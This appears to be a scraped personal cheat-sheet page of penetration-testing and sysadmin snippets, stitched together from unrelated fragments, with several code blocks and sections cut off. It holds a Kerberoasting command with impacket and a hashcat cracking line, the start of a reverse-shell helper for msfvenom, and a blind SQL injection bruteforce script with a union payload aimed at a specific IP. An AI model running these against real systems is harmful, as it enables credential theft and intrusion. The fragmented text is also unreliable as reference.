AvasDream

Project

P4wnP1 is a highly customizable USB attack platform, based on a low cost Raspberry Pi Zero or Raspberry Pi Zero W (required for HID backdoor). Link to Repository

Intsallation

Copy image to sd card

dd if=<Source> of=<destination> bs=512 status=progress

Windows Kerber roasting

Only possible with valid credentials and kerberos.

GetUserSPNs.py -request -dc-ip IP DOMAIN/USER

Retreive Hash with impacket.

hashcat -m 13100 --force -a 0 keberos_hash /usr/share/wordlists/rockyou.txt

From upper to lowercase

cat string | tr '[:upper:]' '[:lower:]

Cut spaces from string

tr -d ' '

Create msf rc file for standard msfvenom binaries

function revshell() {
# $1 language
# Default tun0 1337

INF=tun0
PORT=1337

Blind boolean based union sql injection bruteforcing

# !/usr/bin/python3
import requests
import timeit

start = timeit.default_timer()
URL = "http://35.227.24.107:5001/b3838cbb72/login"
QUERY = "admin' union select password from admins where id=1 and password like \""

Reconnaissance

DNS Recon

DNS Record Types:

A (Host address)
AAAA (IPv6 host address)
ALIAS (Auto resolved alias)

Analyse SSH Logins

We are looking at the auth.log file in /var/log/auth.log.

All the login attempts were captured in a time frame of ~3 Hours.

Get all Ips from logfile.

sudo cat /var/log/auth.log | grep "Failed password" | awk -F 'from' '{print $2}' | cut -d" " -f2 &gt; failed-login-ips.txt

Analyse Camera Data

Camera

DNS

Set Encrypted DNS Server

netsh interface ip add dns name="Ethernet" addr=1.1.1.1 index=1

netsh interface ip add dns name="Ethernet" addr=208.67.222.123 index=2

	#!/bin/bash

	version=4.0.2
	echo "execute with sudo privileges"
	sudo true
	echo "Install GCC"
	sudo apt install gcc -y > /dev/null
	echo "Install make"
	sudo apt install make -y > /dev/null
	echo "install postgresql server"